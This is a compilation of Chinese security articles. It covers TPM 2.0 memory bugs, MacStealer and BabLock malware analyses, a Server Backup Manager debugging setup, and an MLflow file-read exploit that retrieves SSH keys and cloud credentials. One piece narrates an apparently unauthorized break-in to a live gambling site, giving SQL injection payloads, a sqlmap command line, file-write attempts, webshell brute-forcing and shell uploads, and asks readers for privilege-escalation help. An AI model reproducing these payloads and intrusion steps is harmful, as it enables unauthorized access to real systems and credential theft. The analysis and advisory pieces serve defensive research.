一個只有2個字節的OOB寫入一開始可能看起來不是一個非常強大的原語，但去年已有研究人員通過一個值為0x01的單字節OOB寫入，成功地在谷歌Titan M芯片上執行了代碼。

影響1.OOB讀取：CryptUtil.c中的函數CryptParameterDecryption可以讀取接收到的TPM命令結束後的2個字節。如果受影響的TPM沒有將接收到的命令之間的命令緩衝區清零，則可能導致受影響的函數讀取先前命令中已經存在的任意16位值。這取決於實現過程：例如，VMware不會清除請求之間的命令緩衝區，因此OOB讀取可以訪問上一個命令中已經存在的任何值，相反，Hyper-V的虛擬TPM在每次接收到請求時都會用零填充命令緩衝區中未使用的字節，因此OOB訪問最終只讀取零

2.OOB寫入：CryptUtil.c中的函數CryptXORObfuscity/ParmDecryptSym（從CryptParameterDecryption調用）可以在命令緩衝區結束後寫入2個字節，從而導致內存損壞。

第二個漏洞無疑是最有趣的一個。能夠覆蓋有用內容的可能性取決於每個實現如何分配接收TPM命令的緩衝區。例如：

VMware使用大小為0x10000的超大緩衝區，遠遠大於通常的最大TPM命令大小0x1000字節；

Hyper-V使用一個大小為0x1000的靜態變量作為命令緩衝區;

SWTPM使用malloc()分配大小為0x1008的命令緩衝區(8字節用於發送命令前綴，可用於修改位置，加上0x1000字節用於最大TPM命令大小)。

因此，在命令緩衝區附近有一些有用的東西(我們可以用OOB寫入來覆蓋)的可能性實際上取決於實現。上面提到的三個虛擬TPM都使用完全不同的方法來分配命令緩衝區。類似地，在給定硬件TPM的固件的命令緩衝區之後覆蓋一些有用內容的可能性完全取決於特定硬件供應商如何分配用於保存傳入命令的緩衝區。

觸發漏洞為了再現上述2個漏洞中的一個，有必要向目標TPM發送2個命令。在這兩種情況下，第一個命令必須是TPM2_StartAuthSession命令，以啟動授權會話。為簡單起見，我們可以指定TPM_ALG_XOR作為要使用的對稱算法。結果，我們得到一個包含會話句柄的TPM響應。

之後，我們需要發送一個支持參數加密的命令。我們使用了tpm2_creatprimary，儘管其他一些命令可能也能運行。我們在tpm2_creatprimary命令的sessionArea中傳遞上一步中獲得的會話句柄，並在sessionAttributes字段中設置Decrypt標誌。然後:

1.為了再現漏洞1(OOB讀取)，我們發送具有最小有效sessionArea的TPM2_CreatePrimary命令，之後沒有數據，即缺少parameterArea。

2.為了再現漏洞2 (OOB寫入)，我們發送tpm2_creatprimary命令，其總大小等於支持的最大TPM命令大小(0x1000字節)。在本例中，我們確實包含了一個parameterArea，其中cipherSize字段設置為0xfe5 (0x1000 - sizeof(command_base_header) - sizeof(handleArea) - sizeof(sessionArea))，後面跟著0xfe3字節的任意值(填充加密參數的位置)，以完成整個tpm2_creatprimary命令的0x1000字節。

概念驗證.zip文件包含PoC的Python版本(用於在Linux系統上運行)和C版本(用於在Windows機器上運行)。

總結在TPM 2.0參考實現的代碼中發現了兩個安全漏洞：越界讀取和越界寫入。因此，其固件基於可信計算組發布的參考代碼的每個TPM(軟件或硬件實現)都將受到影響。

有趣的是，儘管所有受影響的TPM共享完全相同的易受攻擊的功能，但成功利用的可能性取決於命令緩衝區的實現方式，這部分取決於每個實現。從上述示例可以看到，每個人似乎都以不同的方式處理它：一些人在接收到的請求之間清除命令緩衝區，但另一些人不會；有些通過malloc()在堆中分配命令緩衝區，而另一些則使用全局變量。

本文已經驗證這些漏洞存在於主要桌面虛擬化解決方案(如VMware Workstation、Microsoft Hyper-V和Qemu)中包含的軟件TPM中。最大的雲計算提供商提供的虛擬TPM也可能受到影響。例如，Google Cloud使用IBM發布的代碼自動從TCG參考實現中提取，並且IBM提供的代碼中存在的漏洞也被驗證了。以微軟Azure為例，我們已經提到Windows 10上的Hyper-V受到了影響，由於Azure虛擬機監控程序是基於Hyper-V的，我們預計這兩個漏洞也會出現在Microsoft的雲平台上。

我們預計大多數TPM硬件供應商也會受到影響。由於缺乏調試設置來查看TPM固件在運行時發生的情況，因此很難確認物理芯片中是否存在漏洞。靜態分析可以作為評估硬件TPM是否易受攻擊的替代方法，但在我們設法獲得的少數TPM固件更新中，這些更新是加密的。

HireHackking

0x00  信息搜集

朋友给了我一个站，算一个比较大的bc，主站看了一下，没有入口，就换了他的一个推广平台

图片

然后首先大致扫了一下目录，希望可以看见一些有用的东西。
这个时候我可以推荐大家一个接口，可以快速大致看看他重要的文件
https://scan.top15.cn/web/infoleak
例如探针，网站源码是否打包，很明显我没有扫出来，然后给大家看看扫描结果。

图片

config.inc.php根据经验看应该是数据库的配置文件，但是大小为0B,试探性的访问一下，果然什么都没有
upload访问就是403，但是根据经验还是会再去扫一下它，说不定是什么fck编辑器呢，也很遗憾，啥子都没有扫到。
/index.php/login/ ，大小只有2kb，也根本不是后台，有点失落。
端口的话也只有这一个web资产，只好看一下他的网站功能了。
然后点击了一下查询，希望可以在这里找找注入。

0x01  后台注入

图片

果然，有注入，剩下的就是找后台了。

图片

查看当前数据库，and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--

图片

这里记一下踩坑，account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--('
这是完整的payload，最开始我的payload为account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+。

tm始终不出数据，我以为他妈有过滤。

还一个一个fuzzing。

后面想了想会不会注释闭合了还会追加').果然，闭合以后出了数据。

然后有用sqlmap跑数据，没想到tm的跑不出来。

只有自己重新构造sqlmap语句
python2 sqlmap.py -r 1.txt --prefix "')" --suffix "--('" --level 3 --tamper=space2plus --skip-urlencode
终于跑出来了。

后面看了一下payload，每次跑都会把空格编译为20%，url编码了以后payload就不生效了，就用了skip-urlencode这个参数。

0x02  注入点

惊喜又来了，看了一下priv，真的，这么多mysql注入，终于有了一个比较高的权限。

图片

我直接账号密码都没有看，刚刚报错除了绝对路径，这不--os-shell?
然后查看payload的时候，发现了hws，我就感觉不简单了，兄弟们。

图片

果然，写不进去，后面加了--hex也是写不进去的。

那没事，还有--sql-shell。

用堆叠写，虽然我知道大概率写不进去，但是还是要尝试一下，说不定呢。

渗透tm就是玄学。

图片

查看了一下priv，不是null，又给了我一丝丝希望，写，先写一个txt看看。

select 1 into outfile 'D:/wwwroot/wnshd.com_22fqiz/web/1.txt'

图片

然后去网站看，并没有写进去，真的太难了。

就只剩下--file-write了，这个就不贴图了，依然还是没有拿下。

无奈，只有查看后台账号密码。

图片

账号密码收集完了，就去找后台，但是很遗憾，还是没有找到，都接近绝望了。

这tm都送到嘴里了，怎么还是拿不下，我tm就感觉是sqlmap的问题，我有重新弄了一次上面的步骤，我明白了，sqlmap可能会骗你,但是hws不会，你写不进去，就是写不进去。

算了还是换一个思路吧，报错不是爆了这个目录吗？

wolsoowpppps，我在回去看看，不出意外的403,wolsoowpppps/admin，wolsoowpppps/login。

都没有东西，dirsearch一扫，tm还是没有。

0x03  写马不成功

他报错不是web/wolsoowpppps这个路径吗，会不会是我绝对路径有问题，我访问

图片

怎么也是403，那只能说明这是一个没有扫出来的目录，尼玛的，我tm感觉这里有东西。

结果一扫，图就不贴了，还是什么也没有。

哈哈哈哈。

有白高兴一场。

但是我始终觉得这个wolsoowpppps目录有问题，fuzzing一下，fuzzing出了web，然后再扫web，好家伙，出了一个temp。

php访问，一个大马。

这不快结素了吗？

图片

然后爆破，最终，成功爆破进来,上传蚁键，拿下。

这个大马看起也很熟悉呀。

图片

但是hws还是真的猛。

命令无法执行，用了插件，还有那个.so的那个方法，都没有弄出来。

图片

这里感谢一下黄哥，他说的护卫神主要是asp的，传一个冰蝎的马就可以了。

图片

然后想了很多办法，这个权限提不下来，我相信xz的大佬应该会知道吧，我说一说情况。

目前只有d盘的查看修改权限，exe无法执行，意味着Ms系列用不起。

土豆一族传不上去。

iis秒不掉。

杀软是火绒，护卫神，安全狗。

向上cs的，但是dll和Mshta执行就卡死，目前暂时不知道怎么提权，想继续扩展，但是提权这一方面接触的少，还望先知的给位表哥们给给思路。


0x04 拿下后台

最后，我想了想，那个大马是怎么传上去的。
对方可能也是注入起手->在一处找到了xss(我也找到了，但是由于客服是10月份下线的，已经换了站了，导致我的xss一直打不过来)->找到后台->由于是tp3.2.3的站，后台的rce（tp3.2.3缓存getshell）->上大马。
这是xss的位置

图片

这个是后台

图片

这个站虽然拿的比价坎坷，但是思路都是很简单的，还是多学习吧。




转载于原文链接： https://mp.weixin.qq.com/s/qNdLNaPNK_485uAPILQXRQhttps://xz.aliyun.com/t/8491

HireHackking

0x00 前言Server Backup Manager(SBM)是一種快速、經濟且高性能的備份軟件，適用於物理和虛擬環境中的Linux和Windows服務器。本文將要介紹Server Backup Manager漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容：

環境搭建

調試環境搭建

用戶數據庫文件提取

CVE-2022-36537簡要介紹

0x02 環境搭建安裝參考資料：http://wiki.r1soft.com/display/ServerBackupManager/Install+and+Upgrade+Server+Backup+Manager+on+Debian+and+Ubuntu.html

參考資料提供了兩種安裝方法，但是我在測試過程中均遇到了缺少文件/etc/init.d/cdp-server的錯誤

這裡改用安裝舊版本的Server Backup Manager，成功完成安裝，具體方法如下：

1.下載安裝包http://r1soft.mirror.iweb.ca/repo.r1soft.com/release/6.2.2/78/trials/R1soft-ServerBackup-Manager-SE-linux64-6-2-2.zip

1.png

web管理頁面有以下兩個:

http://127.0.0.1:8080

https://127.0.0.1:8443

0x03 調試環境搭建研究過程如下：

2.png 3.png

(6)

使用IDEA下斷點並配置遠程調試，遠程調試成功如下圖

下载.png0x04 用戶數據庫文件提取4.png 5.png 6.png 7.png

8.png 9.png

從以上代碼可以得出用戶口令的加密算法

(2)定位用戶創建的具體代碼實現位置

10.png 11.png 12.png 13.png 14.png 15.png 16.png

0x05 CVE-2022-36537簡要介紹漏洞分析文章：https://medium.com/numen-cyber-labs/cve-2022-36537-vulnerability-technical-analysis-with-exp-667401766746

文章中提到觸發RCE需要上傳一個帶有Payload的com.mysql.jdbc.Driver文件

這個操作只能利用一次，原因如下：

默認情況下，管理後台的的Database Driver頁面存在可以上傳的圖標，如下圖

17.png上傳後不再顯示可上傳的圖標，如下圖

18.png 19.png

0x06 小結本文介紹了在搭建Server Backup Manager調試環境過程中一些問題的解決方法，分析用戶數據庫文件提取的方法，給出檢測CVE-2022-36537的建議。

HireHackking

趨勢科技的研究人員檢測到Mac惡意軟件MacStealer通過網站、社交媒體和消息平台Twitter、Discord和Telegram大肆傳播。 MacStealer，是使用Telegram 作為命令和控制(C2) 平台來竊取數據的最新威脅示例。它主要影響運行macOS 版本Catalina 以及之後運行在M1 和M2 CPU 上的設備。現在該惡意程序又有了新的傳播途徑，攻擊者通過假冒合法的遊戲賺錢(P2E)應用程序的圖片，引誘受害者下載它。 P2E是Play-to-earn 的縮寫,允許玩家通過玩遊戲來產生穩定的加密收入。每個遊戲的機制可能不同,但獎勵通常來自質押、刷遊戲幣或生成可交易的NFT物品。

趨勢科技的研究人員最近分析了一種名為MacStealer的Mac惡意軟件(檢測為TrojanSpy.MacOS.CpypwdStealer.A)，這是一種加密貨幣錢包和信息竊取程序，偽裝成合法遊戲賺錢(P2E)遊戲應用程。研究人員已經發現MacStealer的源代碼已經通過在線公共掃描服務洩露。該惡意軟件目前通過第三方網站傳播，使用從真實P2E應用程序中竊取的圖像和圖形，並在社交媒體和消息平台Twitter、Discord和Telegram上傳播。惡意軟件背後的攻擊者會偽裝成一家合法的遊戲公司，尋找測試人員，並吸引潛在的受害者下載他們的應用程序。

引誘新玩家與其他在感染設備的同時重定向用戶的假冒應用程序不同，攻擊者沒有假裝創建遊戲，只是從現有的P2E中復制。 Twitter賬戶和網站只是吸引用戶下載MacStealer的幌子。一旦惡意軟件執行，用戶就會在GUI提示中輸入各自的密碼，存儲在設備中的特定信息就會被竊取。

研究人員的傳感器在例行檢查中檢測到了高危示例進行分析，經過仔細檢查，發現worldofcretures[.]io網站與示例有關，該網站在Twitter上得到了大肆傳播。

檢查該網站後台發現假冒應用程序的頁面是在2023年1月才創建的，所有的圖形和文本都是直接從另一個P2E應用程序的網站上獲取的。這款假冒應用程序的推特頁面圖像也直接取自合法應用程序的社交媒體頁面，於2022年10月創建，與2021創建的合法應用程序帳戶相比，這是相對較新的。不知情的受害者可能沒有聽說過這款遊戲，他們很容易將假冒頁面誤認為是合法應用程序的原始遊戲和官方社交媒體賬號。

1.png

真實遊戲的網頁（上）和假冒遊戲的網頁（下）

這些網站在很多方面都有所不同（例如圖形、名稱和公司），如果感興趣的用戶知道這些細節，這些網站仍然可以識別。社交媒體帖子包括下載該應用程序的促銷活動，讓新玩家似乎只要連接到Discord渠道並下載遊戲就可以獲得免費贈品。一旦用戶加入攻擊者的渠道，攻擊者就會通過聊天說服用戶點擊惡意鏈接或下載惡意軟件文件。

2.png

假冒應用程序的帖子示例，用於重定向潛在受害者，並在Discord上“下載”遊戲

技術細節一旦受害者下載了遊戲，一個名為LauncherMacOS的.dmg文件，dmg（SHA256:8ea33c34645778b79dd8bb7dcf01a8ad1c79e7ada3fd61aca397ed0a2a57276，被Trend Micro檢測為TrojanSpy.MacOS.CypwdStealer.A）在系統中執行。簽名如下：

3.png

特別簽名在ARM64 M1蘋果處理器上尤為重要。它要求所有本機代碼都有有效的簽名（如果只是臨時的），否則操作系統將不會執行它。相反，它會在啟動時阻止本機代碼。

在檢查dmg中的應用程序包時，研究人員觀察到它包含以下使用Python編譯器Nuitka編譯的Mach-O二進製文件：

啟動器（SHA256:5e8f37420efb738a820e70b55a6b6a669222f03e4a8a408a7d4306b3257e12ff，被Trend Micro檢測為TrojanSpy.MacOS.CpypodStealer.A）Nuitka是一個不常見的編譯器，在測試過程中，主要的Mach-O顯示出可疑的網絡活動。研究人員還注意到Nuitka可以將Python腳本編譯成Mach-O二進製文件。

4.png

DMG示例的應用程序捆綁內容

程序本身分為兩個階段。第一個階段是Nuitka引導程序的執行。就其本身而言，邏輯本身是無害的，但會將惡意負載釋放到目標路徑，而第二階段是執行惡意負載。

惡意軟件的第一階段實現以下例程：

1.它從一個名為“有效載荷”的特殊部分讀取內容。

5.png

由惡意軟件二進製文件提取的部分

2. 它將內容寫入路徑為

6.png

第二階段Mach-O二進製文件釋放到系統上

3.它將環境變量NUITKA_ONEFILE_PARENT更改為當前進程號。

4.它執行提取內容的主要可執行文件，並清理引導版本本身。

第二階段可執行文件是一個基於CPython實現的程序，該程序由Nuitka從Python編譯而成。在編譯過程中，編譯器會清除部分信息以提高程序的執行效率，而Nuitka轉換的Python代碼完全清除了原始字節碼，無法恢復。由於不可逆的編譯過程，研究人員無法從Python源代碼的角度對其進行分析，但函數名稱和動態行為日誌提供了大量信息。

1.它試圖從以下錢包中竊取數據：

Binance

Exodus

Keplr

Metamask

Phantom

Trust wallet

7.png

用於竊取錢包數據的函數

2.它試圖竊取瀏覽器數據和密鑰鏈。在測試過程中，研究人員在系統上使用以下命令發現了該示例，用於文件/目錄發現和系統信息收集：

/bin/sh -c uname -p 2 dev/null

/bin/sh -c security default-keychain

8.png

用於竊取鑰匙鍊和錢包數據的函數

3.它使用chainbreaker轉儲鑰匙鏈。

4.彈出對話框，使用osascript騙取用戶密碼，命令如下：

9.png

對話框標題為“系統首選項”，圖標警告默認答案為“隱藏答案”。

10.png

獲取受害者密碼的對話框

5.它試圖將收集到的信息以Zip文件的形式發送到命令與控制（CC）服務器mac[.]cracked23[.]網站。

11.png

洩露數據的網絡數據包（頂部）和Zip文件的內容

12.png

發送到CC服務器的general_info.txt文件的內容

一旦下載並在受害者的系統中運行，MacStealer就會竊取受害者的錢包數據，並清空加密貨幣錢包。如果受害者沒有加密貨幣錢包，惡意軟件就會竊取用戶信息和鑰匙鏈。

通過社交媒體和其他平台傳播在掃描其他社交媒體帖子時，研究人員發現了攻擊者嘗試傳播MacStealer惡意軟件的努力。考慮到使用的戰術、技術和過程（TTP）是相似的，這個示例和部署可能是一個組織完成的。在本節中，我們以Impulse Flow假冒應用程序為例。

攻擊者創建一個Twitter賬戶和相關網站來宣傳假冒的遊戲應用。以下是一個帶有驗證圖標的Twitter賬戶示例。然後，他們將游戲宣傳為基於區塊鏈技術的免費P2E在線遊戲。

有一個鏈接樹鏈接，其中包含到他們其他通道的鏈接，Linktree 是一家在線工具平台，可以讓你在社交媒體上展示自己或品牌的多個網站鏈接。 Linktree 的主要業務是提供一個簡單易用的工具，讓用戶能夠在Instagram、TikTok、Twitter 等社交媒體上分享多個鏈接，從而幫助他們更好地展示自己或品牌，增加流量、轉化率和銷售額，其中包含指向其他渠道的鏈接：

Website: https[:]//play-impulseflow[.]com/

Website: https[:]//impulse-flow[.]gitbook[.]io/impulse_flow-whitepaper/

Website: https[:]//github[.]com/ImpulseFlowBeta/1[.]0[.]3

Discord: https[:]//discord[.]gg/Impulse-flow

Twitter: https[:]//twitter[.]com/lmpulse_Flow

Telegram: https[:]//t[.]me/impulseflow_official

圖片搜索查詢顯示，推特和其他社交媒體賬戶中使用的媒體(圖片和視頻)抄襲了遊戲《余烬之剑》 (EmberSword)。 Ember Sword是一個多資產的虛擬經濟遊戲，其主要功能是支持用戶社區購買，出售和使用遊戲專屬虛擬資產。在Ember Sword中，用戶可以購買，出售和發行各種遊戲幣和令牌，包括經典貨幣，裝備，材料和其他供玩家交易的內容，這種內容可以用來升級角色，改善遊戲內的經濟秩序，以及豐富遊戲體驗。攻擊者利用這些平台誘使潛在受害者執行惡意軟件可執行文件。所觀察到的一些方法如下：

1.他們將其宣傳為一款公測遊戲，並吸引人們參與他們的測試計劃以換取獎勵。這些測試人員被邀請加入攻擊者的Discord或Telegram渠道，在那裡他們會得到惡意軟件二進製文件或下載惡意軟件二進製文件的鏈接。在某些情況下，鏈接或文件將需要密碼，他們通過Discord或Telegram渠道接收:https[://]twitter.com/lmpulse_Flow/status/1633735911782400000。

13.png

輸入密鑰可以讓潛在的受害者下載MacStealer惡意軟件二進製文件

2.他們直接向內容創造者傳達信息，幫助他們推廣遊戲。這被懷疑是一種針對這些有影響力的人的社會工程策略。

https[://]twitter.com/powrdragn/status/1638024217412390913

https[://]twitter.com/ender_thien/status/1637659072379101185

https[://]twitter.com/naerycrypto/status/1637226997817692161

https[://]twitter.com/CiervoKing/status/1637220583736762370

3.他們發布虛假的職位空缺，並引誘求職者下載他們的惡意軟件二進製文件：https://twitter.com/witty_taeil/status/s1631654308218298368。

14.png

一些人在推特賬戶上發布了關於與假冒遊戲應用程序和網站相關的惡意活動的警告。

15.png

一些用戶據稱是MacStealer惡意軟件的受害者

總結雖然P2E遊戲並不新鮮，但它正在重新引起人們的興趣，越來越受歡迎，而攻擊者也在努力利用這一不斷增長的趨勢。 MacStealer惡意軟件只是眾多利用P2E吸引力的惡意軟件之一。 P2E遊戲玩家最適合成為攻擊目標，因為這些遊戲的經濟模式要求他們使用加密貨幣和錢包。

安全研究人員可以發現，考慮到攻擊者使用Discord和Telegram直接與受害者溝通，使用不常見的手段傳播惡意軟件，調查分析惡意軟件並不容易。

該惡意軟件似乎並不復雜，由於原始代碼是Python腳本，因此使用它只需較低的技能。考慮到原始代碼是使用Nuitka編譯成Mach-O二進製文件的Python腳本，儘管這會使反編譯變得困難，因此其本身並不復雜。這對分析師來說可能很難進行逆向工程，因為儘管它很簡單，但使用Nuitka編譯Mach-O二進製文件表明，對一個好目標進行適當的攻擊可以獲得巨大的回報。在這種情況下，他們針對的是經常使用加密錢包的P2E遊戲玩家。攻擊者收集的大部分利潤來自通過社交工程技術竊取的加密貨幣，將惡意軟件發送到用戶的設備(即網站、Twitter賬戶和其他相關渠道)。

Discord為各種目的提供渠道，其中包括P2E遊戲和用戶。作為一個逐漸成為玩家交換信息的平台，在Discord中下載鏈接以訪問遊戲——無論是作為用戶還是測試人員——可能不會立即在受害者中引發危險信號。這也增加了攻擊者選擇該平台傳播惡意軟件的可能性。然而，一名受害者指出，攻擊者的渠道明顯缺乏互動，並將這些細節標記為對其他人的警告。其他用戶警告稱，只要他們要求截屏或發布警告推文，他們就會立即被這些渠道封殺。

此外，由於最近Twitter所有權的中斷和賬戶驗證政策的變化，攻擊者似乎濫用它來輕鬆獲得一個經過驗證的賬戶。這提供了一種合法性的假象，以提高假冒應用程序和賬戶的社交工程能力。使用這種技術也可以很容易地在TikTok、YouTube和Facebook等其他平台上宣傳。

為了避免和防禦像MacStealer這樣的威脅，研究人員強烈建議謹慎安裝來自非官方來源和應用程序平台的應用程序。為設備啟用最新的安全解決方案還可以幫助檢測、阻止和緩解這類威脅的風險。

HireHackking

CVE-2023-1177：MLflow中的LFI/RFILFI/RFI導致系統和雲帳戶被接管

所有CVE在版本2.2.2中已經被修復

已發布了漏洞利用工具和掃描工具

機器學習系統領域最流行的工具之一是MLflow（月下載量超過1300萬人次，且這個數字還在增長），它用於管理端到端機器學習生命週期。

Protect AI測試了MLflow的安全性，結果發現了一個混合型的本地文件包含/遠程文件包含(LFI/RFI)漏洞，可能導致整個系統或云提供商被人接管。強烈建議運行MLflow服務器的組織立即更新到最新版本，或者至少更新到2.2.2版本。版本2.2.1修復了CVE-2023-1177，版本2.2.2修復了CVE-2023-1176。我們在本博文中探討了該漏洞的影響、如何檢測它，以及我們發現這個嚴重漏洞的過程。如果你正在運行MLflow，請使用本博文中提供的免費工具，立即開始修補系統。使用傳統工具給系統打補丁可能是一個挑戰，因為許多自動化補丁管理系統並不枚舉或識別MLflow，就算枚舉或識別，可能也不會執行版本檢查。

立即升級到MLflow的最新版本非常重要，哪怕你的實例不在生產環境中，只在開發環境中使用。

影響如果利用該漏洞，未經身份驗證的遠程攻擊者可以讀取啟動了MLflow服務器的用戶可以訪問的這台服務器上的任何文件。

可以通過從MLflow服務器獲取私有SSH密鑰或云服務提供商憑據來獲得遠程代碼執行的機會。這讓攻擊者得以遠程登錄到服務器或云資源，並利用找到的憑據擁有的相應權限執行任意代碼。

漏洞細節不需要用戶交互。

不需要事先了解環境。

MLflow的所有自定義配置都易受攻擊，包括開箱即用的安裝環境。

MLflow 2.1.1之前的所有版本都容易受到LFI的攻擊。

漏洞利用工具適用於從MLflow v1.12到v2.1.1的所有版本。

MLflow 2.0之前的所有版本都容易受到LFI的攻擊，只需通過更簡單地利用：http://

MLflow維護者迅速響應了負責任披露的這個漏洞，在短短幾週內交付了修復程序。 MLflow 2.1.1之後的版本不再容易受到攻擊。

漏洞檢測若要檢查你的MLflow服務器是否容易受到攻擊，請使用我們的免費CVE-2023-117-scanner掃描工具（https://github.com/protectai/Snaike-MLflow）。

發現過程我們先安裝了MLflow，啟動攔截代理BurpSuite以攔截所有MLflow API調用，運行用數據填充MLflow的實驗，然後啟動UI服務器作進一步探索。

# Download MLflow source to get access to their example runs

git clone https://github.com/mlflow/mlflow

# Create and enter new directory outside the mlflow/directory

mkdir mlflowui

cd mlflowui

# Copy the example code from the MLflow source into this new directory

cp -r ./mlflow/examples/sklearn_elasticnet_wine .

# Setup a virtual environment for installing requirements

python3 -m venv venv

source venv/bin/activate

# Install mlflow in this virtual environment

pip install mlflow pandas

# Run the example experiment

mlflow run --env-manager=local sklearn_elasticnet_wine -P alpha=0.5

# Run the UI to see the experiment details

mlflow ui --host 127.0.0.1:8000

在創建實驗時，它給了我們指定存儲對象的目錄這一選項。這似乎是一個可配置的文件路徑，我們可以通過運行的示例實驗就可以看到：

1.png

圖1

這立即引起了我們的注意，因為這需要完美地實施過濾機制，以防止本地文件包含或任意文件覆蓋。然而，你無法從UI遠程運行MLflow實驗。由於當你通過UI創建實驗時，工件位置實際上沒有發生任何變化，因此這裡沒有任何安全考慮。然後，我們通過點擊單趟實驗運行繼續探索。

2.png

圖2

點擊上圖所示的運行名稱，將我們帶到實驗運行細節，在這裡我們可以看到實驗涉及的文件，並下載文件，如下圖所示。

在這裡，我們在工件文件中看到了一個很大的“Register Model”（註冊模型）按鈕。我們很好奇。

3.png

圖3

4.png

圖4

它似乎不是什麼特別值得關注的對象，因為它只是彈出一個模式，讓你選擇模型，然後將該模型的詳細信息保存為“Version 1”（版本1）。

5.png

圖5

但是底層到底發生了什麼？為此我們檢查了BurpSuite。

6.png

圖6

我們發現了在UI中並沒有顯示的另一個協議和文件路徑輸入。這似乎很可疑。我們將它手動更改為用戶的私有SSH密鑰：file: ///Users/danmcinerney/. ssh/id_rsa。訪問該文件將允許你以啟動了MLflow服務器的用戶的身份遠程登錄到MLflow主機。

7.png

圖7

新的source在響應中有所體現，這通常表明服務器端出現了變化。我們很想知道這實現了什麼操作，於是回過頭去查看已註冊的模型細節。實驗中沒有什麼運行工件，模型細節或模型版本細節中也沒有值得關注的對象。這似乎是另一條死胡同，類似我們發現你可以將實驗工件路徑指向任意位置，但UI隨後不讓你任何操作。然而在檢查BurpSuite請求和響應日誌後，我們發現了一些值得關注的異常。

攻擊者現在擁有訪問權

8.png

圖8

get-artifact API調用中的“500內部服務器錯誤”讓我們感到可疑。在安全測試的早期，get-artifact API調用值得注意，因為它是從工件存儲庫返回文件數據的調用。這是你從實驗運行下載模型的方法，我們發現它受到了一個防止本地文件包含漏洞的函數的保護，如下所示。

9.png

圖9

我們花了一些時間試圖繞過這個，但沒有成功。這個特殊的get-artifact調用的不同之處在於，它不是試圖從子文件夾獲取文件，而是直接訪問文件名。此外，它實際上不是同一個API調用。下面是記入文檔的get-artifact REST API調用：

10.png

圖10

下面是類似的model-version/get-artifact調用：

11.png

圖11

區別包括URL路徑、參數和值。這顯然不是同一個API調用。

我們注意到這個API調用不在說明文檔中。關鍵區別在於，它通過path URL參數直接查找文件名，而不是通過合法的get-artifact API調用中的相對文件路徑來查找。

這就意味著LFI防護機制並不存在，因為不需要執行目錄遍歷。只需要控制源文件夾的位置。在上面的幾個步驟中，當我們創建一個新的模型版本時，嘗試將API請求的source路徑位置修改為：file:///Users/danmcinerney/.ssh/id_rsa：

12.png

圖12

我們應該做的是將source位置更改為文件夾而不是更改為文件。我們糾正了這一點。

13.png

圖13

隨後我們重新發送了發現的這個未記入文檔的REST API調用，並將其指向id_rsa，這是新模型版本source位置中的文件以及提供遠程登錄服務器功能的私有SSH密鑰。

14.png

圖14

使用檢索到的SSH密鑰，我們就可以通過終端訪問運行MLflow服務器的主機。 MLflow最常被配置為使用S3存儲桶作為工件存儲區。如果是這種情況，那麼機器上另一個價值非常高的目標將是~/.aws/credentials文件，可想而知該文件存儲的是AWS憑據。

其他高價值目標可能包括包含明文密碼的Web服務器SQL配置文件或包含所有用戶密碼散列的/etc/shadow，這些用戶密碼散列可以通過hashcat之類的工具來破解。

漏洞利用工具為了幫助保護你的系統，我們創建了一個簡單的工具來發現潛在漏洞，這個工具名為MLFIflow.py（https://github.com/protectai/Snaike-MLflow）。

安裝git clone https://github.com/protectai/Snaike-MLflow

cd Snaike-MLflow/MLFIflow

python3 -m venv mlfiflow

source mlfiflow/bin/activate

pip install -r requirements.txt

使用默認情況下，MLFIflow將嘗試從MLflow服務器讀取/etc/passwd，並使用找到的用戶名搜索SSH密鑰和雲憑據文件：

python MLFIflow.py -s http://1.2.3.4:5000

若要指定待下載的文件的自定義單詞列表，使用-f標誌：

python MLFIflow.py -s http://1.2.3.4:5000 -f /path/to/wordlist.txt

HireHackking

本文會分析一種名為BabLock（又名Rorschach）的勒索軟件，它與LockBit有許多共同的特點。

最近，一種名為BabLock(又名Rorschach)的勒索軟件因其複雜而快速的攻擊鏈而引起轟動，該軟件使用的技術非常有創新性。雖然主要基於LockBit，但也汲取了其他不同勒索軟件部分的功能，並最終組合成為BabLock(檢測為Ransom.Win64.LOCKBIT.THGOGBB.enc)。 LockBit現在已經開始第三次迭代。

我們會在本文中詳細介紹它的攻擊鏈，並分析其可能的起源。

發現過程2022年6月，研究人員發現了一個勒索軟件（後來被證明是BabLock），它使用了一種獨特的附加擴展方式，而不是勒索軟件攻擊中通常使用的“一個樣本，一個擴展”方法，我們發現，攻擊者在針對這種特定感染的固定勒索軟件擴展的頂部添加了從00-99的數值增量。因此，即使在一台受感染的計算機上，一次執行也可能產生多個擴展變體。

1.png

該勒索軟件的獨特特徵是顯示擴展的數值增量

調查發現，勒索軟件總是以多組件包的形式部署，主要由以下文件組成：

加密的勒索軟件文件config.ini；

惡意側載DLL (DarkLoader, config.ini解密器和勒索軟件注入器)；

用於加載惡意DLL的非惡意可執行文件；

使用正確密碼執行非惡意二進製文件的CMD文件。

2.png

在一個感染實例中發現的主要勒索軟件包

DarkLoader DLL將檢查特定的命令，特別是--run，它會檢查啟動加密過程所需的正確的4位密碼。雖然它對config.ini本身的內容的解包意義不大，但如果提供正確，DLL將執行基本的勒索軟件例程。

3.png

如果在命令行中添加了正確的密碼，勒索軟件將繼續進行整個加密過程

一旦DLL組件被非惡意可執行文件加載，它將立即在當前可執行文件的路徑中查找config.ini文件。一旦找到它，DLL將解密config.ini，然後用一組特定的命令行執行notepad.exe。

在這個異常的活動中，研究人員發現了一些顯著且一致的模式：

主要的勒索軟件二進製文件通常以加密的config.ini文件的形式發送；

DarkLoader是通過使用合法可執行文件的DLL側加載來執行的；

config.ini文件由專門為這些活動設計的自定義加載程序解密（檢測為Trojan.Win64.DarkLoader）；

在同一受感染的計算機中，BabLock為每個文件的擴展名字符串附加一個從00到99的隨機數（例如，extn00-extn99作為同一感染中的擴展名）；

任何DarkLoader DLL都可以用來解密任何加密的勒索軟件config.ini，不需要特定的二進製配對。

DarkLoader DLL使用Direct SysCall API來選擇幾個但重要的調用，以避免API讀取分析。解密後的BabLock勒索軟件總是使用VMProtect進行反虛擬化。

BabLock是通過掛鉤API Ntdll的攻擊注入加載的。 RtlTestBit跳轉到包含勒索軟件代碼的內存。

針對不同攻擊的密碼有幾種變體，但它們都在一定的範圍內。

4.png

提供給notepad.exe的命令行參數，用於在最近的攻擊中加載和執行勒索軟件

5.png

DLL使用幾個直接的SysCall指令來避免API讀取

6.png

notepad.exe文件被注入到RtlTestBit的API調用線程中，該線程已被修復/掛起以跳轉到惡意例程

